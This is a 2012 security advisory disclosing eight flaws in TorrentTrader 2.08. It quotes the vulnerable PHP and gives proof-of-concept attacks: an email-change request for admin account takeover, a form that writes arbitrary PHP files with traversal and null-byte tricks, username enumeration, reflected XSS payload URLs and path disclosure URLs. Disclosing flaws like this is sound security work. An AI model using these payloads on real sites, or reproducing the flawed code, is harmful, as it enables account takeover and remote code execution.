[waraxe-2012-SA#089] - Multiple Vulnerabilities in TorrentTrader 2.08
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Author: Janek Vind "waraxe"
Date: 17. September 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-89.html
Description of vulnerable software:
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TorrentTrader is a feature packed and highly customisable PHP/MySQL Based BitTorrent
tracker. Featuring integrated forums, and plenty of administration options.
http://sourceforge.net/projects/torrenttrader/
http://www.torrenttrader.org/topic/14292-torrenttrader-v208-released/
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1. Unauthorized Email Change in "account-ce.php"
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Reason: authorization bypass
Attack vector: user submitted GET parameters "id", "secret" and "email"
Preconditions: none
Result: attacker can change any user's email, including admin's
-----------------[ source code start ]---------------------------------
$id = (int) $_GET["id"];
$md5 = $_GET["secret"];
$email = $_GET["email"];
..
$res = SQL_Query_exec("SELECT `editsecret` FROM `users`
WHERE `enabled` = 'yes' AND `status` = 'confirmed' AND `id` = '$id'");
$row = mysql_fetch_assoc($res);
..
$sec = $row["editsecret"];
if ($md5 != md5($sec . $email . $sec))
show_error_msg(T_("ERROR"), T_("NOTHING_FOUND"), 1);
SQL_Query_exec("UPDATE `users` SET `editsecret` = '', `email` = ".sqlesc($email)."
WHERE `id` = '$id' AND `editsecret` = " . sqlesc($row["editsecret"]));
-----------------[ source code end ]-----------------------------------
Tests:
Let's find md5 hash of email "test@test.com", which is "b642b4217b34b1e8d3bd915fc65c4452".
Target user ID is 1. We issue GET request:
http://localhost/torrenttrader208/account-ce.php?id=1&
secret=b642b4217b34b1e8d3bd915fc65c4452&email=test@test.com
Quick look to the database confirms, that email address of user with ID 1
has been changed indeed.
Next logical move for attacker is password recovery request:
http://localhost/torrenttrader208/account-recover.php
After admin account takeover attacker is able to use next vulnerability,
described below, which may allow php remote code execution.
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2. Arbitrary file creation / directory traversal in "nfo-edit.php"
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Reason: failure to properly sanitize user submitted data
Attack vector: user submitted POST parameters "id" and "content"
Preconditions:
1. nfo-file editing privileges needed (usually admin)
2. PHP must be < 5.3.4 for null-byte attacks to work
Result:
1. attacker is able to write remote files with arbitrary content
2. directory traversal vulnerability allows bypassing path restrictions
-----------------[ source code start ]---------------------------------
$id = (int)$_GET["id"]?$_GET["id"]:$_POST["id"];
$do = $_POST["do"];
$nfo = $site_config["nfo_dir"] . "/$id.nfo";
if ($do == "update") {
if (file_put_contents($nfo, $_POST["content"]))
{
write_log("NFO ($id) was updated by $CURUSER[username].");
-----------------[ source code end ]-----------------------------------
Test: first we need html form like the one below:
<html><body><center>
<form action="http://localhost/torrenttrader208/nfo-edit.php"
method="post" enctype="multipart/form-data">
<input type="hidden" name="do" value="update">
<input type="hidden" name="id" value="test.php">
<input type="hidden" name="content" value="<?php phpinfo();?>">
<input type="submit" value="Test">
</form></center></body></html>
Log in as admin and then make POST request by cliking "Test" button.
We should see "NFO Updated" as response and can confirm new file existence:
http://localhost/torrenttrader208/uploads/test.php.nfo
By using null byte ("\0") it's possible writing files with arbitrary extension.
Finally, it is possible to make use of directory traversal strings "../"
and write files to arbitrary location in remote server.
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3. Username Enumeration Vulnerability in "account-login.php"
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Reason: different error messages for invalid username and invalid password
Attack vector: user submitted POST parameters "username" and "password"
Preconditions: none
Result: attacker can enumerate valid usernames
-----------------[ source code start ]---------------------------------
if (!empty($_POST["username"]) && !empty($_POST["password"])) {
$res = SQL_Query_exec("SELECT id, password, secret, status, enabled FROM users
WHERE username = " . sqlesc($_POST["username"]) . "");
$row = mysql_fetch_array($res);
if (!$row)
$message = T_("USERNAME_INCORRECT");
elseif ($row["status"] == "pending")
$message = T_("ACCOUNT_PENDING");
elseif ($row["password"] != $password)
$message = T_("PASSWORD_INCORRECT");
-----------------[ source code end ]-----------------------------------
Tests:
Try to log in with nonexistent username:
"Username Incorrect"
Next, try valid username with incorrect password:
"Password Incorrect"
So it's obvious, that attacker is able to distinguish between valid and
invalid usernames and therefore username enumeration vulnerability exists.
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4. Reflected XSS in "faq.php"
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Preconditions: "register_globals=on"
Attack Vector: User provided parameter "faq_categ"
http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=
<script>alert(String.fromCharCode(88,83,83))</script>&faq_categ[0][flag]=1
&faq_categ[0][items][0][question]=aa&faq_categ[0][items][0][answer]=bb
&faq_categ[0][items][0][flag]=1
http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=test&faq_categ[0][flag]=1
&faq_categ[0][items][0][question]=<script>alert(String.fromCharCode(88,83,83))</script>
&faq_categ[0][items][0][answer]=bb&faq_categ[0][items][0][flag]=1
http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=test&faq_categ[0][flag]=1
&faq_categ[0][items][0][question]=test&faq_categ[0][items][0][answer]=
<script>alert(String.fromCharCode(88,83,83))</script>&faq_categ[0][items][0][flag]=1
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5. Reflected XSS in "account-signup.php"
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Preconditions: "register_globals=on"
Attack Vector: User provided parameters "invite" and "secret"
http://localhost/torrenttrader208/account-signup.php?invite_row=1
&invite="><script>alert(String.fromCharCode(88,83,83))</script>
http://localhost/torrenttrader208/account-signup.php?invite_row=1
&secret="><script>alert(String.fromCharCode(88,83,83))</script>
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6. Reflected XSS in "/themes/default/header.php"
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Preconditions: "register_globals=on"
Attack Vector: User provided parameters "title" and "site_config"
http://localhost/torrenttrader208/themes/default/header.php?
title=</title><script>alert(String.fromCharCode(88,83,83))</script>
http://localhost/torrenttrader208/themes/default/header.php?
site_config[CHARSET]="><script>alert(String.fromCharCode(88,83,83))</script>
http://localhost/torrenttrader208/themes/default/header.php?
site_config[SITEURL]=--><script>alert(String.fromCharCode(88,83,83))</script>
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7. Reflected XSS in "/themes/NB-Clean/header.php"
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Preconditions: "register_globals=on"
Attack Vector: User provided parameters "title" and "site_config"
http://localhost/torrenttrader208/themes/NB-Clean/header.php?
title=</title><script>alert(String.fromCharCode(88,83,83))</script>
http://localhost/torrenttrader208/themes/NB-Clean/header.php?
site_config[CHARSET]="><script>alert(String.fromCharCode(88,83,83))</script>
http://localhost/torrenttrader208/themes/NB-Clean/header.php?
site_config[SITEURL]="><script>alert(String.fromCharCode(88,83,83))</script>
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8. Path Disclosure vulnerability in multiple scripts
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http://localhost/torrenttrader208/account-login.php?returnto[]
Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:/apache_www/torrenttrader208/account-login.php on line 72
http://localhost/torrenttrader208/themes/default/footer.php
Fatal error: Call to undefined function T_() in
C:/apache_www/torrenttrader208/themes/default/footer.php on line 26
http://localhost/torrenttrader208/themes/default/header.php
Fatal error: Call to undefined function T_() in
C:/apache_www/torrenttrader208/themes/default/header.php on line 28
http://localhost/torrenttrader208/themes/NB-Clean/footer.php
Fatal error: Call to undefined function T_() in
C:/apache_www/torrenttrader208/themes/NB-Clean/footer.php on line 22
http://localhost/torrenttrader208/faq.php?faq_categ=1
Fatal error: Cannot use string offset as an array in
C:/apache_www/torrenttrader208/faq.php on line 17
http://localhost/torrenttrader208/rss.php?cat[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\torrenttrader208\rss.php on line 119
http://localhost/torrenttrader208/backend/smilies.php?action=display&form[]
Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:\apache_www\torrenttrader208\backend\smilies.php on line 50
Contact:
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come2waraxe@yahoo.com
Janek Vind "waraxe"
Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
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